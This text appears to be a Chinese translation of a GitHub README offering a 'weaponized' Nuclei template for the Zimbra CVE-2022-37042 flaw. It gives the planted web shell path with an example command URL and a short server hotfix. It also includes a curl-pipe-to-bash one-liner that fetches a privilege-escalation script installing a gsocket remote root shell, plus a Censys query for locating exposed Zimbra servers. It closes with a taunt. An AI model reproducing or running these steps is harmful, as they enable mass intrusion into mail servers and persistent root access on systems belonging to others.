CVE-2022-37042

Zimbra CVE-2022-37042 Nuclei 武器化模板

shell 路径：/public/formatter.jsp

Nuclei 本身：https://github.com/projectdiscovery/nuclei

shell 包含一个透明度为 0 的隐藏输入框，因此只需将鼠标悬停在其上，输入命令，然后按 [Enter] 键：

示例 shell URL：

https://ms1.fission.com:8443/public/formatter.jsp?cmd=id

CVE-2022-37042 热修复补丁，用于修补已被攻陷的服务器

执行以下命令（仅一次）：

cd /opt/zimbra/conf/nginx/templates/; sed -i 's|location ~\* \^/zmerror_|location = /service/extension/backup/mboximport { return 403; }\n    location ~\* \^/zmerror_|' nginx.conf.web.http*; /opt/zimbra/bin/zmproxyctl restart;

对于不使用 Nginx 而是 Apache 的服务器，需要额外的代码。欢迎提交 Pull requests。

通过 zimbslap 实现 Zimbra 自动提权至 root

curl -fskSL raw.githubusercontent.com/aels/zimbra-slapper/main/slapper.sh | bash 2>&1

此命令将安装 global-socket (https://www.gsocket.io/deploy/) 并向你返回用于以 root 身份连接的密钥。

获取 Zimbra 服务器 IP

https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=100&virtual_hosts=EXCLUDE&q=services.http.response.html_tags%3A+%22%3Ctitle%3EZimbra+Web+Client+Sign+In%22

祝你们生日快乐，混蛋们 ;)

CVE-2022-37042

最受欢迎

CVE-2022-37042

Zimbra CVE-2022-37042 Nuclei 武器化模板

CVE-2022-37042 热修复补丁，用于修补已被攻陷的服务器

通过 zimbslap 实现 Zimbra 自动提权至 root

获取 Zimbra 服务器 IP